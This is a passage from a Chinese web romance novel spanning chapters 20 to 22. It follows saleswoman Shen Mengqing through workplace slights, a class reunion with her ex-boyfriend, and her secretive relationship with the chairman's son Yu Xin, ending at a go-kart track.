真可惜,当事人不在现场。 作为最后一名进屋的人,梁如薇关上了门,隔绝了这一块风暴中心。 梁军自然地把主座让给了余辛,事必躬行地给他添了一副新碗筷,还拿来菜单问他要不要加菜。 余辛没说话,将菜单往桌上一放,语气不辨喜怒地说:“你们部门经常聚餐吗。” “也没有经常。”梁军笑着说,“这周太忙了,就占用一下周六的时间,聚餐的时间和地点大家投票决定的,绝对是自愿的,我不会强制要求来这种活动。” 余辛了然,转而又问道:“销售部一共多少人?” 梁军一怔,说:“算上我十二个人。” “那这怎么只有十一个。” 余辛切入的问题点令梁军有些措手不及,他本以为是过不久余辛就要来愈生了,提前了解下这边的情况,他还挺乐意来解答,接近一下这个神秘的太子爷,但这些问题越听越奇怪,倒像是来找他茬的。 梁军脑门逐渐冒起薄汗,说:“有个人她不参与,所以没来。” “自愿不参与的?”余辛咄咄逼人。 梁军急忙接话:“对对对,她有点不合群。” 余辛没有再接话,只是用指尖一下一下地敲着桌面,他扬起凌厉的视线掠过每一个人,最后落回梁军脸上,声音凉了几分:“梁经理,占用员工的休息时间进行团建,是自愿还是变相强制,你我都清楚。” 梁军的笑脸霎时僵住了。 “你说没来的员工不合群,一般有两种情况,一是这位同事主观上抗拒团队,二是她被动被你们团队排斥。不论是哪种情况,作为部门领导的你,都应该去消除隔阂,而不是给她贴上不合群的标签,还进行除她在外的占用休息日的集体活动,这只会让部门氛围变得更差。” 他转向梁如薇,问道:“如果媒介部出现这种情况,你会怎么处理?” 梁如薇心领神会地说:“我会尽量了解情况,解决造成这种局面的核心问题。在我的部门里,我绝不会放弃任何一位同事,并且他们也不需要靠参与团建来证明自己合群。” 余辛点点头,重新看向面色煞白的梁军,说:“愈生从来不倡导靠团建来建设部门凝聚力,更不希望看见部门霸凌或是孤立的情况出现,销售部作为业绩核心部门,是一个靠能力说话的地方,不是靠背景和关系来决定资源分配。” “你明白我的意思吗,梁经理?” 余辛的眼神格外压迫,连梁如薇都没见过他这样。 梁军早已惶然,紧忙哎声说:“明白明白,小余总的意思我都明白。” 包间里鸦雀无声,除了坐在上头这三人,其余人头低得都快埋进碗里去了,恨不得当今天没来过。 这位小余总刚进门时,他们还在惊艳余董的儿子居然这么年轻帅气,两眼放光地盯着他,直到后来,谁也不敢把眼睛往他身上放,怕殃及自己。 “行,你们继续。” 余辛站起身,扔下这句话后,在诡异的气氛下走出了门。 他在前台付完了单,梁如薇在他后头出现,说:“哟,刚骂完人家,背后就替人把大几位数的单给买了,你可真懂打一个巴掌给一颗甜枣的管理之道。” 她的确对余辛有些刮目相看,称赞说:“今晚这一出可以啊,不愧是未来的余董事长。” 余辛懒得理她,掀开日式门帘出了门。 站在门前,梁如薇给他递来一根烟,余辛顿了下,还是没有接过。 “戒了?” 梁如薇自己点了一根,火光啪地一亮又灭,她眯眼吸了口。 余辛抱起胳膊,说:“算是吧。” 他说:“你别带了一身烟味回去,你女儿还小。” 梁如薇忍俊不禁,哈哈大笑:“这话从你嘴里说出来,我怎么觉得这么奇怪呢。” 余辛眉毛一挑,斜睨了她眼:“总有人不喜欢闻烟味,更别说小孩。” “嗯,有人不喜欢。” 梁如薇觉得余辛没救了。 …… 同样的一个夜晚,沈孟青约了姜羽一起去商场逛街。 姜羽听说了梁军对她做的事,一路上都在絮絮叨叨地替她对梁军进行人身攻击,又觉得不解气,把张图也拉上一块吐槽。 有这个嘴替在,沈孟青心情好了很多,她决定今晚狠狠出血购物一番,既然公司不对她的工作成果表示认可,那她就自己给自己奖励。 到了商场,两人直奔奢侈品门店,沈孟青有一个看中很久的包,今晚势必将它拿下。 她简单试了试,姜羽和柜姐在旁边一齐夸奖这个包和她的气质太配了,给足了她情绪价值。 就在沈孟青付款的时候,店里又进来了一男一女。 看见柜台前付款的身影,女人不满且娇气的声音响起: “怎么不给我清场啊,还放别人进店。” 沈孟青闻声转头看去,好心情又被打回了初始值。 怎么来这都能遇见万珍和林向阳,真是冤家路窄。 她立马付完了款,拽上姜羽的胳膊就想走,不料,万珍不给她离开的机会,踩着高跟鞋袅袅婷婷地走来,几步横在沈孟青跟前,妆容精致的脸上挂着虚假的友好。 “哟,沈总也在这购物呢。” 说完,万珍将目光转至姜羽身上。 她和姜羽见过几次面,但关系平平,笑了笑算是招呼。 沈孟青摆不出什么好脸色,反正她也没几个客户了,不想再和万珍说些无用的场面话,只点了个头。 万珍向下瞥了眼她手上的包,对身旁的柜姐说:“这个包我记得是几年前的款了吧,当时我就觉得设计得很一般,完全不是你们品牌的水准,没想到这么过气的包你们店里还有呢?一年怕不是就卖这一次吧。” 那柜姐哪敢搭话,尴尬地保持着微笑。 沈孟青深吸一口气,她下次出门前应该看看黄历的。 万珍仿佛来了兴致,仍不想放过她,亲昵地挽上林向阳的胳膊说:“向阳,你看,这个包很挑人的,气质稍微差一点就背得和地摊货似的。哎,有些人总是喜欢买些超出自己消费能力的东西,以为背了个几万块钱的包别人就会高看她一眼。” 林向阳没吭声,尤其是在看见沈孟青满是失望的眼神后,他下意识移开了眼,不敢再看她。 姜羽听不下去了,她忍不住开口道:“万珍,你来逛街就逛你自己的,高高在上地对别人指手画脚什么呢。” 沈孟青不想姜羽因为自己得罪其他人,用力拖动了姜羽,带她往前走去。 她挺直了脊背,即便是在经过万珍时也高昂着头,目不斜视,将那对男女狠狠甩在身后。 姜羽骂得不畅快,随手指了下对面一家没关门的咖啡店,说:“我们去那坐会。” 下单了两杯不含咖的饮料后,姜羽把手机一搁,说道:“之前听你说的时候我还体会不到有多恶心,现在切身感受了下,这两人真是狼狈为奸,沆瀣一气!这林向阳真不是个人,和你谈恋爱时你对他多好啊,居然都不帮着你点,由着万珍在那阴阳怪气地挤兑你。” “他哪敢得罪万珍,必然是事事百依百顺的。” 沈孟青垂下头,手指不自觉扣着桌上贴纸翘起的边,思索了片刻,而后喃喃道:“你说,是不是他林向阳反倒更适合留在北城,而我才该回老家去。” “才不是呢。”姜羽看着魂不守舍的沈孟青,把她游走的神思拽回来,说道,“你千万不要被他们的话影响了,你什么都没做错,是他们看不惯你过得好,就想给你找点不痛快。” “当然,我知道你最近在愈生干得挺难受的,如果你在老家找到了更好的去处,我双手双脚支持你回去。”姜羽说着说着,紧紧握上了沈孟青的手。 这时,沈孟青的手机来了电话,是高中同学打来的。 简短寒暄了下后,老同学便直入主题地邀请沈孟青来参加下周三在北城办的同学聚会,说是多年未聚了,在北城附近的同学可以多联络联络,以后互相有个照应。 姜羽坐在对面吸了口饮料,凭借沈孟青的话判断出了这个电话的信息,小声地催促她说:“去呀去呀。” 或许是受了姜羽的影响,本想拒绝的沈孟青应了下来。 才挂断电话,她就后悔了,说:“这聚会肯定又有林向阳,说不定万珍也会来,我不该答应的。” “我忘了这事了,我想着你去的话可以问问同学老家那边有没有好的工作机会。”姜羽皱起眉,托腮说,“你考虑考虑,如果躲着他们也不是个事,反倒让他们高兴。换作是我,谁看我恶心,我就天天在那人跟前晃悠,多恶心恶心他。” “你这心态好。” 沈孟青被姜羽开导了几分。 她其实也不是怕事的人,但最近几次接连碰壁让她有点没了冲劲,生怕踏错一步,又有坏结果在等着她。 …… 到了周一,沈孟青才坐到工位上,就收到了梁军在工作软件发来的消息。 他说重新安排了下工作,那些涉及到宏图的客户由她和张图合作管理,对接工作由张图进行,其他事宜还是她来主导。 看到这条消息,沈孟青并没有多开心,这段时间下来,她已经相信了梁军太多次,最后她没有得到任何好处,只有失望。 就万珍周末对她的态度,做出让步的不可能是她那个娇生惯养的大小姐,只可能是梁军,沈孟青想不出来在这个公司除了姜羽有谁还能为自己出气,让梁军改变他的决定。 她正想着,余光忽地压下一片阴影,抬头一看,是齐书盈站在她身边。 沈孟青叹了口气,说:“跟我来吧。” 她带着齐书盈找了间空的洽谈室,门一掩上,齐书盈的眼泪就如断线一般落了下来,她呜咽不停,哭得说话都是支离破碎拼不成句子的,沈孟青只好递了张纸去,说:“你先缓一缓,不急着说。” 大概过了几分钟,齐书盈的啜泣渐渐缓和,她吸了吸鼻子,说:“我对不起你,孟青姐,是梁经理……他说我只有跟着张图哥才给我转正名额,他是领导,我没办法拒绝……” “我能理解,对于你来说,以后想留在这个部门干,跟着张图不是坏事。” 沈孟青很客观地说着,齐书盈听着却更难受了,她说:“我是想跟着你的,我和梁经理说过我的想法,他不同意,所以才威胁了我。” “真的对不起。”说着说着,她似是又想哭了。 沈孟青连忙说:“归根到底错不在你,我不怪你。” 把话聊开了后,齐书盈心里舒坦多了,她突然想起件事,对沈孟青说道:“对了,梁经理同意你和张图哥合作,估计是因为上周团建的时候,董事长儿子对他敲点了一下。” 齐书盈把团建时发生的事一五一十地告诉了沈孟青,和说书人似的,把那位“小余总”描述得天花乱坠,帅气逼人。 沈孟青听完,不免讶异起来,她可从来不认识这位小余总,身边能和他攀上关系的也就一个人。 难道是姜羽? 她毫无头绪地猜着,让齐书盈先回去上班,自己给姜羽打了个电话。 等姜羽接通了电话,沈孟青开门见山地说:“你没找那董事长儿子说我被梁军区别对待这事吧?” 姜羽差点一口水喷出来,说:“当然没有了。” 太久没听沈孟青提起余辛,她都快忘记两人有过节了。 “刚才我听齐书盈说,是那个小余总教训了梁军,我以为是你透露给了他。” 一下信息量太大,姜羽怔了怔,余辛会掺和这种事,是不是说明他要接替余莫成的位置了。 她有些怕沈孟青在未来董事长那不小心留下什么坏印象,脑子里涌出一股冲动,想要把余辛的身份告诉她。 可下一秒,她就退缩了,说不定沈孟青和余辛早就没了联系呢,她说出去了反而事情变复杂了。 “你别想太多了,可能是有什么风言风语传到他耳朵里去了,你这事我们部门的都知道,在公司里哪有什么秘密,他可能就是看不惯想管束一下下属吧。” 沈孟青想了会,说:“你说的也是。” 没再纠结这事,沈孟青回去继续工作了。 张图是个比较固执己见的人,看似和他合作减轻了负担,实则还多了和人沟通的成本,沈孟青感觉累了不少。 忙碌到周三这天,她在下班后打车去了同学聚会的地点。 这次聚会有十几个人,自打高中毕业后还是头一回聚这么齐,沈孟青进包厢的时候人已几近到齐,林向阳穿得人模狗样的,假意推拒地被其他人哄至主座坐下。 在场的女性只有三人,沈孟青在她们旁边找了个位置坐下,和林向阳隔着不少人。 在上菜前,林向阳让服务员取来自己带来的酒,不经意露出了保时捷的车钥匙。 正巧,上回她在楚城遇见的那对话多的夫妻走进了门,男人的体型瞧着更加臃肿了,他瞥见了林向阳手上的钥匙,高声说道:“林总,事业有成啊,提新车了。” 旁边一男人笑着说:“虎子你也太久没来北城了,我们林总的女朋友可是宏图资本的大小姐,想要什么车没有啊,你眼界低了哈。” 钱虎三两步坐了下来:“宏图资本?那可真牛逼啊,我去年还买了他们家股票呢,就是向阳给我推荐的。还得是我们向阳啊,不声不响就干了件大事。” 沈孟青自动屏蔽了这些人的话,小声和身边的女同学聊楚城最近的发展,但钱虎他老婆徐露像是还记着上次余辛泼茶之仇,扭着屁股在她身边的位置一坐,故意哎哟一声说:“孟青啊,好久不见,你和你那小男友怎么样啦?” 她这声音不小,话音一落,场面顿时安静了下来。 钱虎随即帮腔说:“是啊沈孟青,你那个小白脸男友陪着你在北城怎么样啊,不会就靠你打工养他吧。” “小男友?”桌上有人出声问道。 徐露说:“对啊,上次沈孟青回北城我和虎子在餐厅遇见过她一次,身边坐着个小帅哥,长相那叫一个帅,就是看着年轻,估计刚毕业要参加工作的年纪。” 林向阳静默地听完这两人的话,心里安定了几分。 他们这描述的人不可能是余辛,他仍记得上次在赛车场看见的余辛,气质高冷又矜贵,即便是第一眼见他的陌生人,也很难觉得他是个靠女人吃饭的小白脸,更何况,余辛一富二代大少爷,再喜欢沈孟青也不可能追她追到楚城去。 这种有钱人,都清高自傲得很。 他看向沈孟青,本来他和万珍谈恋爱这事让他对沈孟青还有些愧疚,眼下这些仅存的愧疚几乎尽数消散了,她沈孟青不也这么快坠入爱河了。 桌上的人没说话,都在看林向阳的眼色,林向阳笑了笑,对沈孟青举杯说:“挺好的,祝福你。” 在他说出这句话前,沈孟青刚想出声澄清她和余辛的关系,但林向阳这道貌岸然的样子让她莫名想和他斗气,不想吃下闷亏。 “谢谢啊,但我男朋友不靠我养,他比我有钱。”她喝下一口红酒,舌尖回甘,旋即展颜一笑说,“有你的祝福,我们一定会幸福的。” 钱虎嗤笑了声:“行了沈孟青,不用为了面子扯谎,我和露露又不是没见过人,他有没有钱我们能看不出么。不就是林向阳找了那有钱大小姐吗,你也不用非得跟人比呀,有个帅哥小男友一起过日子也不错了。” 沈孟青晃了晃杯子里的红酒,眼皮都懒得抬一下,收起笑意懒懒说:“钱虎,你还是和以前一样八卦又无聊。如果你能靠这张乱说话的嘴赚钱的话,用你的评判标准来说,早就成了这桌上最成功的人了。” “你说什么呢!”钱虎的脸青红交错,旁边的人劝他说算了算了。 沈孟青懒得再理会这些人,有些时候和他们争执她都觉得是在浪费时间,无趣得很。 还好,身边几个女同学对老家楚城的情况很清楚,和她说了一些还不错的公司,沈孟青打算回头自己去了解了解。 吃到了下半场,沈孟青手机一响,来了条短信。 余辛:「在哪。」 沈孟青手一顿,心想果然不能在背后说人小话,她松松然搁下筷子,握起手机打字。 她回复说:「和味坊餐厅,我在同学聚会,差不多半小时后结束。」 余辛:「好,我来接你。」 余辛:「有事和你说。」 有事? 沈孟青放下手机后,逐渐开始走神。 他们已经有段时间没维系那种关系了。 如果抛去他们的关系,余辛能找她有什么事说?—— 作者有话说:这章剧情会比较多辛苦宝宝们看完了![亲亲] 辛子大战良菌 阿青大战前任 k.o. 辛子:?我什么时候成了小男友,还有这种好事[菜狗] 明天起恢复下午三点日更[亲亲]《 》 20-30 第21章 第二十一章 “要不要姐姐帮你。”…… 聚餐收尾, 林向阳争着买了单,出手阔绰地请老同学们吃这顿饭。 众人不免又是对他一阵吹捧,在饭桌上沈孟青就听得耳朵起茧了, 这些人一个个在北城混得都和人精儿似的, 前几年也没看他们对林向阳这么热情过。 走到了和味坊的门口,大部分同学都买了车, 互相询问没车的人需不需要搭一程。 一对对匹配下来, 只剩下沈孟青没有顺路的车, 刚好的是, 林向阳的车也没人坐。 局面尴尬下来,喧闹的氛围立马转为安静, 谁也不敢出声建议林向阳送沈孟青回去, 装忙地看看天看看地。 林向阳知道沈孟青家有些远,正要开口问她要不要自己送, 下一秒却接到了万珍打来的电话。 他走远了几步, 接了几分钟电话后,匆匆赶回来说:“抱歉啊大家,我女朋友来找我了,我先走了。” 他的目光在沈孟青身上多停滞了会, 随后就抬脚离开了。 等他一走, 沈孟青感觉瞬间有几道可怜她的视线投射过来, 甚至方才坐一起的女同学还拉上了她的手, 说:“你别太伤心。” 沈孟青笑了笑,说:“我没伤心。” 她不是也有个“小男友”么, 有什么好伤心的,她倒是也挺想看看,林向阳能借着万珍爬多高。 她想自然地抽出手, 但显然对方不相信她的笑容,心疼她逞强着来面对感情正甜蜜的前男友,摩挲了下她的手背。 这时,余辛的那辆黑车缓缓驶了过来。 男同学里有人眼尖地瞥见这辆劳斯莱斯,没忍住吹了声口哨,感叹说:“牛逼啊,这地方还有这种大少爷来呢?” 他刚说完,黑车就在这群人面前停了下来,那几个在饭桌上最活跃的人都屏息以待,莫名好奇车上的人。 在他们的注视中,车窗匀速降下,驾驶座上男人那张冷峻贵气的脸渐渐显露出来,夜色没能遮住他深邃的五官,他扬起一双桃花眼,往这头轻轻一扫,像是在和谁对眼神。 虽然余辛这个进场很装逼,但沈孟青非常满意。 她这下终于挣脱开被握住的手,有些憋不住笑意地说:“我先走了。” 上车时,她感受到有无数个炙热的眼睛在盯着她的后背。 黑色豪车一脚油门开远,徐露回过神,撞了下钱虎的胳膊,恍然大悟说:“这不是我们在楚城碰见的那小白脸吗?” 钱虎也才反应过来,喃喃说:“还真是。难不成,他真是有钱人?” 怎么今天见到的人和上次气质都不一样了。 “不是吧。”徐露还是不太相信,小声在他耳边说,“我猜是租的吧,北城租车的应该挺多的,一天也就几百几千的,你不记得我上回还租过名牌包吗。” 钱虎觉得他老婆真是太聪明了:“你说的有道理。” 人群里头,有个人挠了挠头,说:“刚才开车的人好像有点眼熟啊。” 有人问他:“你认识?” “好像跟着领导在哪见过,可能记错了吧。” …… 沈孟青上了车后,就静静等着余辛开口。 没想到开了快十分钟,余辛仍是紧闭着嘴,没有要说话的意思。 她坐不住了,出声道:“你要和我说什么?” 余辛握住方向盘的手紧了紧,后视镜里透出他掩埋情绪的双眼。 他这几天一直想起梁如薇的话,在考虑是不是到时候和沈孟青说自己的身份了。毕竟,倘若之后真的会共事,总该提前告诉她的,这样也有更多转圜的余地和时间。 但他不知道是怎么了,在开车进来看见林向阳的那一刻,他一个字都不想说了。 “没什么。”他淡然回她道。 沈孟青撇撇嘴,说:“哪有人说话说一半的。” 她开始用排除法猜测余辛想说的事,试图撬开他的嘴。 她决定先从大了说:“你想结束我们的关系?” 她这话一说出口,余辛周遭的空气霎时冷了好几个度,他斜睨了眼沈孟青,瞪得她瑟缩了下。 沈孟青不好意思地笑着说:“开玩笑的。” “是有关你爸爸的病情吗?”她又说。 余辛在红灯停下来,说:“别瞎猜。” 那不是只有一种可能了。 沈孟青说:“我不在意你的身份,我从见到你的第一眼就知道你是做什么的了。” “?” 余辛:“你知道?” 他出神地望向沈孟青。 沈孟青点点头,心想,他果然是说要这事啊。 “现在职业也没有高低贵贱,你能靠这个赚到钱,在北城有立足之地,也挺好的,但是你一定要有原则底线,不要被纸醉金迷蒙蔽了双眼,不要……出卖自己。” 余辛似懂非懂,察觉到这话好像不太对劲,他正要继续追问,放在两人中间的手机弹出来了一条消息,听到声音的沈孟青下意识和他一起低头看去。 Lily:「我想你了。」 Lily:「你这段时间在忙什么?」 Lily:「明天有没有时间见面?」 余辛摁灭了手机屏幕,一向从容的神色里竟然添了一丝慌乱,他抬起头和沈孟青对视说:“这是祝绍明的堂妹,我和她不熟。” “我懂我懂,你先回她吧。” 客户的消息还是得及时回复的,别影响赚钱了,沈孟青作为一名销售人员很理解。 余辛松开刹车,将手放回方向盘:“不回。” 沈孟青替他着急:“为什么不回?” 余辛感觉一口气卡在胸腔吐不出来,闷闷说:“要回你回。” 那多不好。 沈孟青捕捉到余辛的愠意,不再说话,乖顺地在位置上坐好。 此后,两人一路无言,等车开到了家楼下,沈孟青的目光飘然落在余辛的侧脸上。 她眨了眨眼,说:“不上去么。” 余辛转头撞进她眼里,眸色如黑夜般昏暗:“不了,我还得去一趟医院。” “好吧。” 沈孟青鼓了下嘴,伸手推开门后,她猝不及防地扭过身,在余辛嘴角浅浅吻啄了一口。 她还没来得及将“下次见”三个字说出口,余辛就拽住了她的胳膊猛力将她一扯,一双手紧紧将她圈锢在怀里,垂下的眼眸里刹那间燃起一团炬火,炽热而明亮的火光中映照出沈孟青的脸庞。 他环抱住沈孟青的身子缓缓压了下去,手上托举的力量却不断加重,沈孟青感觉自己快要被余辛拓印进他的皮肉里。 余辛温热的鼻息轻洒在她脸上,沈孟青往后移开了下,说:“你抱松点,疼。” “好。” 他收回一只手,仅仅用左手从她胳膊外探出,扶在她瘦削的蝴蝶骨上,收回的右手一个拐弯,钻进她轻薄的雪纺衫,灼热的手掌贴在她微凉的肌肤上,掐住她柔弱的腰肢,痒得她颤栗了下。 沈孟青眸光似水,给了余辛一记没什么杀伤力的眼刀,她微微张嘴,还没说话,又被余辛堵住了唇。 余辛湿漉的舌尖在沈孟青唇珠上来回舔舐了几下,而后才轻巧地撬开她的牙齿,肆意地掠夺着领地,与她的舌头缠绕在一起。 沈孟青被他吻得呼吸紊乱,眼前仿佛罩上一层缺氧的雾汽,两人气息粗沉,她暗叹余辛的吻技竟然突飞猛进到了这个地步。 她本想抬手抵住余辛硬朗的胸膛,申请一下中场休息,不想有一块熟悉的把柄。 沈孟青歪了下头,眉眼弯了弯,向前在余辛耳边说:“要不要姐姐帮你。” 余辛悠哉哉看向她,宽大的肩膀拢在她上头,好似被拿住把柄的人不是自己,而是沈孟青一般。 他语调微凉,吐出的气却格外烫人:“姐姐想帮吗?” “看你表现了。”沈孟青使坏说。 察觉到她的手想要缩回去,余辛按住她的手腕,让她移动不了分毫。 沈孟青另一只手轻佻地勾了下余辛的下巴,说:“弟弟,你想强买强卖吗?” “不是说看我表现吗。” 余辛揽住她,一遍又一遍地加深自己的吻,从唇齿延至指尖,牵引着沈孟青,带她晃晃悠悠抵达云端。 漆黑的暗室里,气温不断上升,潮热粘腻。 …… 直到回到家关上了门,沈孟青都仍未平复在胸腔里猛撞的心跳,口红的颜色几近掉光,衣服上微微干涸的暗渍提醒着她方才在车上她干了多么荒唐的一件事。 沈孟青倒了杯凉水,仰头咕咚咕咚几口便喝到了见底,可她依旧渴得不行,身体里像有团浇不灭的火,烧得她口干舌燥。 一口气灌了三四杯凉水下肚后,她才感觉好了些。 她撒开包,失去了全部力气似的,头一栽倒在了沙发上。 她闭眼抱着靠枕昏睡了过去,想借此平静一下,结果连在梦里,都浮现着余辛细细碎碎吻住她的情景,肌肤相贴的触感刺激着她的神经。 再醒来时,已近深夜,沈孟青的衣服被汗浸湿,这才想起开个空调。 洗漱完出来,她点开手机一看,李青河发了她几条消息。 李青河:「周末有时间吗?带你去赛车场玩。」 沈孟青确认了下时间空闲后,回他说: 「好啊。」- 周六恰好是八月的第一天,天气酷暑难耐,李青河在上午十点准时等在沈孟青的小区门口。 他本想坚持进小区接她,虽然不过几步路,但这在这阳光下走路可不太好受,沈孟青却依然拒绝了他。 有时候李青河觉得,沈孟青表面看着挺开朗一人,其实在心里比谁都讲究分寸,和人保持着距离。 没多久,她撑着把嫩粉色的太阳伞走了过来。 今天她上衣穿了件斜肩灰色T恤,下身的白色荷叶边蛋糕裙裤毫无保留地展现出她一双曲线优美的腿,大腿饱满,小腿修长,皮肤被光照射得愈加得白皙。 沈孟青坐上了车,她额前已微微冒汗,一粒粒小汗珠将碎发粘住,她还特意扎了个丸子头在脑袋上,没想到还是被汗打湿了。 李青河适时递来一张干净的纸,说:“擦擦汗吧。” “谢谢。” 沈孟青接过纸,李青河等她擦好了再开车,边说道:“是不是太热了,如果你不想玩赛车,我们去玩些别的也行,看你。” “没事没事。”沈孟青连忙说,“我没玩过赛车,还挺想玩的。” 李青河被她逗笑,说:“行,那我今天带你玩。” 和坐余辛的车不同,李青河的车上总是播放着电台,偶尔是时事新闻,偶尔是流行音乐,即便没人说话,气氛也不会太沉闷,再加上他很爱照顾人,不时找些话题和沈孟青聊,是个相处起来很舒服的人。 路上车程不算无聊,就连下车时两人都还在笑着聊天。 赛车场的场地很大,沈孟青新鲜感上来,跟在李青河后头进了门。 李青河一进去,就和一个人打着招呼,沈孟青从他身后探出头,杏眼一下睁大:“祝绍明?” 祝绍明正单脚站在李青河旁边,另一只脚打着石膏,手上还搀着根拐杖。 他的惊讶比沈孟青更甚,高呼说:“你怎么来了?!” 沈孟青在他俩身上来回看了几眼,问道:“你们俩也认识啊。” 李青河更想问这个问题。 他瞥了眼赛场里轰鸣的一辆蓝色的车,对祝绍明说:“余辛在跑?” 还好他的声音只有两人能听见,祝绍明像是被人敲了一记闷棍,把拐杖一扔,手足无措地捂上李青河的嘴:“我先、我先带你去换衣服。” 他整个人借力在李青河身上,蹦蹦跳跳地捆着他往更衣室走,李青河又不敢蛮力推开他这个伤员,只能跟着他走,边囫囵着声音对沈孟青说:“你也先去换衣服吧。” 祝绍明又惊吓到一般,猛地扭头对沈孟青说:“对对对,你赶紧去换衣服,就现在去,等会车好了我再喊你出来。” 沈孟青:“?” 她还没好好参观一下呢。 等那两人进了更衣室,沈孟青好奇地四下走动着,大堂里摆着许多漂亮的赛车服和头盔,还有对F1这种赛事的介绍。 她正看得投入,赛场那边一辆车急速冲过终点的呼啸声陡然传入她耳里,吸引了她的注意。 沈孟青走到通向赛场的门边,抱起胳膊看向那辆车。 深蓝色的车门一开,两个戴着头盔的人走了下来,矮了个头的女生先摘下了头盔,小步跑到高个子人跟前,笑容甜美地和他挥了挥手,应该是在说再见。 她脸上笑意不减地从沈孟青身侧的门离开,几分钟后,那高个男人也走来了这里。 出她意料的是,这男人居然站定在她身前。 沈孟青有一股油然而生的心灵感应,她注视着男人摘下了头盔,余辛微怔的表情显露出来—— 作者有话说:下次弟弟会加倍帮姐姐的,相信我[害羞][害羞](虽然可能没这么快[求你了][求你了] 修罗场来袭,吃醋小狗和吃醋阿青会怎么办呢[害羞] 第22章 第二十二章 你和他什么关系 “你怎么会到这里来?”他说。 说这话时, 他不自觉皱起了眉,沈孟青尽收眼底。 她联想起祝绍明也在这,很轻易地推理了出来, 问他说:“Lily?” 望着缄默下来的余辛, 沈孟青知道自己猜对了。 沈孟青笑了笑,夸赞说:“挺漂亮的。” 不仅仅是漂亮, Lily看起来和万珍一样, 出身不低, 从头发丝精致到了鞋尖。 余辛眸光微闪, 张了张干涸的唇瓣,却没能说出一个字。 两人相顾无言地站定了会, 沈孟青腿都快僵了, 拍拍裙子说:“我去换衣服了。” 余辛抱着头盔,说:“我在这等你。” “等我干嘛?”沈孟青不解地问他。 余辛说:“你不是要玩赛车么。” 沈孟青觉得好笑, 淡淡地看向余辛说:“我有朋友一起, 而且,你的副驾驶有人坐过了,我就不凑这个热闹了。” 她干脆利落地转过身,把后脑勺留给余辛, 往更衣室走去。 赛车服的款式很多, 她选了件经典的红色, 还好店里冷气开得很足, 不然真会被闷到中暑。 李青河就站在门口等她,见她换好衣服出来, 他笑着说:“你穿这身挺好看的。” “谢谢。” 沈孟青亦抬头看向他,李青河穿的是黑色的衣服,衬得他整个人很沉稳, 比起赛车手,他的气质好像更贴合机长那种类型。 两人并肩往赛场走去,余辛已经坐在了休息区的沙发上,祝绍明挂着个腿坐他旁边,直勾勾地盯着去赛场的沈孟青和李青河。 余辛却没抬头,垂眸看着空空如也的地面,神游一般。 祝绍明对他说:“你别担心,李青河那边我已经打过招呼了,不会出卖你这兄弟的。但我也是想不通,你这身份有啥见不得人的,瞒着人家干嘛啊?” “你看看人李青河,光明正大地追姑娘,这多好啊。”祝绍明仍觉不够地撞了下余辛的膝盖,拱火说,“你不去给人秀一下?你那车技,超越李青河的车轻轻松松,我看你刚才搭祝梨梨开得挺猛的嘛。” 余辛睨了眼祝绍明,眼里放射出一道锋利的冷光,他说:“我那是故意开得很快。” 祝梨梨这段时间没事就蹲守在赛车场,今天见余辛来了,她后脚就跟着他上了车,谁都赶不下去。 余辛看她不下车,本来想顺势小小吓她一下让她知难而退,开得比平常都要快不少,漂移的时候下半身都离开座位了,没想到祝梨梨坐得更兴奋了,在他旁边鼓掌叫好。 祝绍明听说这事后,笑得打滚,捂着肚子说:“你小心吧,祝梨梨打小认定了什么东西就必须要得到,她是铁了心要追你了,刀山火海都要下,飙个车算什么。” …… 沈孟青是第一次玩赛车,李青河打算先带她跑一圈,感受感受。 坐上车后,他没有立即开动,神色略微凝重地朝沈孟青看去,沉声问她:“如果我不得已瞒了你一件事,你会生气吗?” 沈孟青愣了愣,疑惑着他怎么在这个时间点突然说这话。 她开玩笑地揪紧了安全带,问道:“你不会是不懂怎么开赛车吧?” 李青河哑然失笑,说:“那你现在下车还来得及。” 过了片刻,他压下了嘴角的笑意说:“我说认真的。” 沈孟青思忖了会,耸耸肩道:“我不会生气的。” 李青河能有什么事情瞒着她,就算有,估计也是细枝末节的小事,她自然不会计较。 “那就好。”李青河放下心来。 大概是为了照顾她,李青河一路都开得很稳,每次车身有比较大的摇晃时,他都倍感抱歉地看向沈孟青,即便沈孟青说了没关系,他也没敢开太快。 同一时间还有两三辆车在场子里跑,其中一辆应当是赛车场的教练开的,他暂时没有要带练的学员便在自己开车玩,每次经过沈孟青和李青河这辆车的时候,那个教练都刻意把油门重踩,高调地超车,还嚣张地转过头看他们。 虽然都戴着头盔,看不见面罩下的脸,但沈孟青能感觉到那人绝对在讥笑他们,她心中腾起一股火,恨不得抓过方向盘自己开。 一圈跑完,沈孟青迫不及待地解开安全带下了车,她对李青河说:“我去自己开一辆玩玩。” 起点处停了很多车,沈孟青走来走去仔细地挑着,最后驻足在一辆白色的车前。 “这辆挺适合你的。” 余辛的声音骤然在她身后响起,沈孟青没有回头,问他道:“为什么?” “车型比较小巧,车身较轻,变速快,好掌控。”余辛认真地说。 沈孟青这才转头看向他,语气平平地说:“你懂的还挺多。” 她伸手拉开车门,见余辛也还没换衣服,勾起唇角说:“我们比比?” 余辛眉毛一挑,这还是头一回有人敢在赛场挑衅他。 他把头盔拿好,说:“行啊。” 余辛上了自己的蓝色跑车,等沈孟青那辆白车慢悠悠到了起跑线,他一脚油门开到了她隔壁的位置。 等裁判发车的信号一出,一白一蓝两辆车几乎同时如离弦之箭一般漂了出去。 沈孟青方才坐在车上时,就已然把路线记得七七八八了,起跑后很长一段都是直道,她自信地踩着油门,开出了一骑绝尘的气魄。 她还抽空看了下后视镜,余辛的车就在她后头不远的位置,就差一口气能追上她,但显然他没有超越她的意思,乐得落在后面。 沈孟青吐槽了下他没有比赛风范,决定逼他一把,便再次提了速,想把余辛的速度也带起来。 没多久,到了弯道,沈孟青谨慎地降了一些速度,这种跑道的弯角对于很少玩赛车的人来说难度比较高,她的不太熟练影响到了发挥,余辛用一个漂亮的转弯狠狠甩开了她。 沈孟青这才意识到,余辛先前根本不是在让她,而是在蓄力过弯。 他这招完全降低了对手的防范心,沈孟青暗啐他一声心机男,在顺利转弯后,极力想要追上去。 的确如他所说,这辆白车很适合沈孟青,她轻松地加了速,车身犹如一尾轻盈游弋的瓷白鲤鱼,在跑道中穿梭自如。 当她总算在视野里看见余辛那辆蓝色跑车时,右前方还多出来了一辆眼熟的车,是那个教练的。 沈孟青斗志更甚,她看准了两辆车中间的空隙,判断下个弯道还得一会,抓住时机,钻了过去。 她车速太快,穿过那两辆车时发出了破空的声响,等前方空阔得不剩一辆车时,她畅快地笑出了声。 